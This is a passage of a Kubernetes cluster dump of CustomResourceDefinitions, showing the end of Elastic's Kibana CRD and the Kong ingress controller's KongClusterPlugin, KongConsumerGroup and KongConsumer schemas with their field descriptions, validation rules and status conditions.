                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS for HTTP.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                            The referenced secret should contain the following:


                            - `ca.crt`: The certificate authority (optional).
                            - `tls.crt`: The certificate (or a chain).
                            - `tls.key`: The private key to the first certificate in the certificate chain.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        selfSignedCertificate:
                          description: SelfSignedCertificate allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that the provisioning
                                of the self-signed certifcate should be disabled.
                              type: boolean
                            subjectAltNames:
                              description: SubjectAlternativeNames is a list of SANs
                                to include in the generated HTTP TLS certificate.
                              items:
                                description: SubjectAlternativeName represents a SAN
                                  entry in a x509 certificate.
                                properties:
                                  dns:
                                    description: DNS is the DNS name of the subject.
                                    type: string
                                  ip:
                                    description: IP is the IP address of the subject.
                                    type: string
                                type: object
                              type: array
                          type: object
                      type: object
                  type: object
                image:
                  description: Image is the Kibana Docker image to deploy.
                  type: string
                podTemplate:
                  description: PodTemplate provides customisation options (labels,
                    annotations, affinity rules, resource requests, and so on) for
                    the Kibana pods
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                secureSettings:
                  description: SecureSettings is a list of references to Kubernetes
                    secrets containing sensitive configuration options for Kibana.
                  items:
                    description: SecretSource defines a data source based on a Kubernetes
                      Secret.
                    properties:
                      entries:
                        description: |-
                          Entries define how to project each key-value pair in the secret to filesystem paths.
                          If not defined, all keys will be projected to similarly named paths in the filesystem.
                          If defined, only the specified keys will be projected to the corresponding paths.
                        items:
                          description: KeyToPath defines how to map a key in a Secret
                            object to a filesystem path.
                          properties:
                            key:
                              description: Key is the key contained in the secret.
                              type: string
                            path:
                              description: |-
                                Path is the relative file path to map the key to.
                                Path must not be an absolute file path and must not contain any ".." components.
                              type: string
                          required:
                          - key
                          type: object
                        type: array
                      secretName:
                        description: SecretName is the name of the secret.
                        type: string
                    required:
                    - secretName
                    type: object
                  type: array
                version:
                  description: Version of Kibana.
                  type: string
              type: object
            status:
              description: KibanaStatus defines the observed state of Kibana
              properties:
                associationStatus:
                  description: AssociationStatus is the status of an association resource.
                  type: string
                availableNodes:
                  format: int32
                  type: integer
                health:
                  description: KibanaHealth expresses the status of the Kibana instances.
                  type: string
              type: object
          type: object
      served: true
      storage: false
      subresources:
        status: {}
    - name: v1alpha1
      schema:
        openAPIV3Schema:
          description: to not break compatibility when upgrading from previous versions
            of the CRD
          type: object
      served: false
      storage: false
  status:
    acceptedNames:
      categories:
      - elastic
      kind: Kibana
      listKind: KibanaList
      plural: kibanas
      shortNames:
      - kb
      singular: kibana
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:03Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T11:56:04Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: kongclusterplugins.configuration.konghq.com
    resourceVersion: "413062"
    uid: be25ec4e-ba42-4f69-a794-e04029dc1655
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: KongClusterPlugin
      listKind: KongClusterPluginList
      plural: kongclusterplugins
      shortNames:
      - kcp
      singular: kongclusterplugin
    scope: Cluster
    versions:
    - additionalPrinterColumns:
      - description: Name of the plugin
        jsonPath: .plugin
        name: Plugin-Type
        type: string
      - description: Age
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      - description: Indicates if the plugin is disabled
        jsonPath: .disabled
        name: Disabled
        priority: 1
        type: boolean
      - description: Configuration of the plugin
        jsonPath: .config
        name: Config
        priority: 1
        type: string
      - jsonPath: .status.conditions[?(@.type=="Programmed")].status
        name: Programmed
        type: string
      name: v1
      schema:
        openAPIV3Schema:
          description: KongClusterPlugin is the Schema for the kongclusterplugins
            API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            config:
              description: |-
                Config contains the plugin configuration. It's a list of keys and values
                required to configure the plugin.
                Please read the documentation of the plugin being configured to set values
                in here. For any plugin in Kong, anything that goes in the `config` JSON
                key in the Admin API request, goes into this property.
                Only one of `config` or `configFrom` may be used in a KongClusterPlugin, not both at once.
              type: object
              x-kubernetes-preserve-unknown-fields: true
            configFrom:
              description: |-
                ConfigFrom references a secret containing the plugin configuration.
                This should be used when the plugin configuration contains sensitive information,
                such as AWS credentials in the Lambda plugin or the client secret in the OIDC plugin.
                Only one of `config` or `configFrom` may be used in a KongClusterPlugin, not both at once.
              properties:
                secretKeyRef:
                  description: Specifies a name, a namespace, and a key of a secret
                    to refer to.
                  properties:
                    key:
                      description: The key containing the value.
                      type: string
                    name:
                      description: The secret containing the key.
                      type: string
                    namespace:
                      description: The namespace containing the secret.
                      type: string
                  required:
                  - key
                  - name
                  - namespace
                  type: object
              required:
              - secretKeyRef
              type: object
            configPatches:
              description: |-
                ConfigPatches represents JSON patches to the configuration of the plugin.
                Each item means a JSON patch to add something in the configuration,
                where path is specified in `path` and value is in `valueFrom` referencing
                a key in a secret.
                When Config is specified, patches will be applied to the configuration in Config.
                Otherwise, patches will be applied to an empty object.
              items:
                description: |-
                  NamespacedConfigPatch is a JSON patch to add values from secrets to KongClusterPlugin
                  to the generated configuration of plugin in Kong.
                properties:
                  path:
                    description: Path is the JSON path to add the patch.
                    type: string
                  valueFrom:
                    description: ValueFrom is the reference to a key of a secret where
                      the patched value comes from.
                    properties:
                      secretKeyRef:
                        description: Specifies a name, a namespace, and a key of a
                          secret to refer to.
                        properties:
                          key:
                            description: The key containing the value.
                            type: string
                          name:
                            description: The secret containing the key.
                            type: string
                          namespace:
                            description: The namespace containing the secret.
                            type: string
                        required:
                        - key
                        - name
                        - namespace
                        type: object
                    required:
                    - secretKeyRef
                    type: object
                required:
                - path
                - valueFrom
                type: object
              type: array
            consumerRef:
              description: ConsumerRef is a reference to a particular consumer.
              type: string
            disabled:
              description: Disabled set if the plugin is disabled or not.
              type: boolean
            instance_name:
              description: |-
                InstanceName is an optional custom name to identify an instance of the plugin. This is useful when running the
                same plugin in multiple contexts, for example, on multiple services.
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            ordering:
              description: |-
                Ordering overrides the normal plugin execution order. It's only available on Kong Enterprise.
                `<phase>` is a request processing phase (for example, `access` or `body_filter`) and
                `<plugin>` is the name of the plugin that will run before or after the KongPlugin.
                For example, a KongPlugin with `plugin: rate-limiting` and `before.access: ["key-auth"]`
                will create a rate limiting plugin that limits requests _before_ they are authenticated.
              properties:
                after:
                  additionalProperties:
                    items:
                      type: string
                    type: array
                  description: PluginOrderingPhase indicates which plugins in a phase
                    should affect the target plugin's order
                  type: object
                before:
                  additionalProperties:
                    items:
                      type: string
                    type: array
                  description: PluginOrderingPhase indicates which plugins in a phase
                    should affect the target plugin's order
                  type: object
              type: object
            plugin:
              description: PluginName is the name of the plugin to which to apply
                the config.
              type: string
            protocols:
              description: |-
                Protocols configures plugin to run on requests received on specific
                protocols.
              items:
                description: |-
                  KongProtocol is a valid Kong protocol.
                  This alias is necessary to deal with https://github.com/kubernetes-sigs/controller-tools/issues/342
                enum:
                - http
                - https
                - grpc
                - grpcs
                - tcp
                - tls
                - udp
                type: string
              type: array
            run_on:
              description: |-
                RunOn configures the plugin to run on the first or the second or both
                nodes in case of a service mesh deployment.
              enum:
              - first
              - second
              - all
              type: string
            status:
              description: Status represents the current status of the KongClusterPlugin
                resource.
              properties:
                conditions:
                  default:
                  - lastTransitionTime: "1970-01-01T00:00:00Z"
                    message: Waiting for controller
                    reason: Pending
                    status: Unknown
                    type: Programmed
                  description: |-
                    Conditions describe the current conditions of the KongClusterPluginStatus.

                    Known condition types are:

                    * "Programmed"
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  maxItems: 8
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
              type: object
          required:
          - plugin
          type: object
          x-kubernetes-validations:
          - message: Using both config and configFrom fields is not allowed.
            rule: '!(has(self.config) && has(self.configFrom))'
          - message: Using both configFrom and configPatches fields is not allowed.
            rule: '!(has(self.configFrom) && has(self.configPatches))'
          - message: The plugin field is immutable
            rule: self.plugin == oldSelf.plugin
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: KongClusterPlugin
      listKind: KongClusterPluginList
      plural: kongclusterplugins
      shortNames:
      - kcp
      singular: kongclusterplugin
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: kongconsumergroups.configuration.konghq.com
    resourceVersion: "413039"
    uid: e79ee403-3a41-45fd-b963-5f5808f36a4d
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: KongConsumerGroup
      listKind: KongConsumerGroupList
      plural: kongconsumergroups
      shortNames:
      - kcg
      singular: kongconsumergroup
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - description: Age
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      - jsonPath: .status.conditions[?(@.type=="Programmed")].status
        name: Programmed
        type: string
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: KongConsumerGroup is the Schema for the kongconsumergroups
            API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            status:
              description: Status represents the current status of the KongConsumerGroup
                resource.
              properties:
                conditions:
                  default:
                  - lastTransitionTime: "1970-01-01T00:00:00Z"
                    message: Waiting for controller
                    reason: Pending
                    status: Unknown
                    type: Programmed
                  description: |-
                    Conditions describe the current conditions of the KongConsumerGroup.

                    Known condition types are:

                    * "Programmed"
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  maxItems: 8
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: KongConsumerGroup
      listKind: KongConsumerGroupList
      plural: kongconsumergroups
      shortNames:
      - kcg
      singular: kongconsumergroup
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: kongconsumers.configuration.konghq.com
    resourceVersion: "413054"
    uid: b97c1ff9-d437-438f-8104-24e8a399be4b
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: KongConsumer
      listKind: KongConsumerList
      plural: kongconsumers
      shortNames:
      - kc
      singular: kongconsumer
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - description: Username of a Kong Consumer
        jsonPath: .username
        name: Username
        type: string
      - description: Age
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      - jsonPath: .status.conditions[?(@.type=="Programmed")].status
        name: Programmed
        type: string
      name: v1
      schema:
        openAPIV3Schema:
          description: KongConsumer is the Schema for the kongconsumers API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            consumerGroups:
              description: |-
                ConsumerGroups are references to consumer groups (that consumer wants to be part of)
                provisioned in Kong.
              items:
                type: string
              type: array
              x-kubernetes-list-type: set
            credentials:
              description: |-
                Credentials are references to secrets containing a credential to be
                provisioned in Kong.
              items:
                type: string
              type: array
              x-kubernetes-list-type: set
            custom_id:
              description: |-
                CustomID is a Kong cluster-unique existing ID for the consumer - useful for mapping
                Kong with users in your existing database.
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            status:
              description: Status represents the current status of the KongConsumer
                resource.
              properties:
                conditions:
                  default:
                  - lastTransitionTime: "1970-01-01T00:00:00Z"
                    message: Waiting for controller
                    reason: Pending
                    status: Unknown
                    type: Programmed
                  description: |-
                    Conditions describe the current conditions of the KongConsumer.

                    Known condition types are:

                    * "Programmed"
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  maxItems: 8
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
              type: object
            username:
              description: Username is a Kong cluster-unique username of the consumer.
              type: string
          type: object
          x-kubernetes-validations:
          - message: Need to provide either username or custom_id
            rule: has(self.username) || has(self.custom_id)
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: KongConsumer
      listKind: KongConsumerList
      plural: kongconsumers
      shortNames:
      - kc
      singular: kongconsumer
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
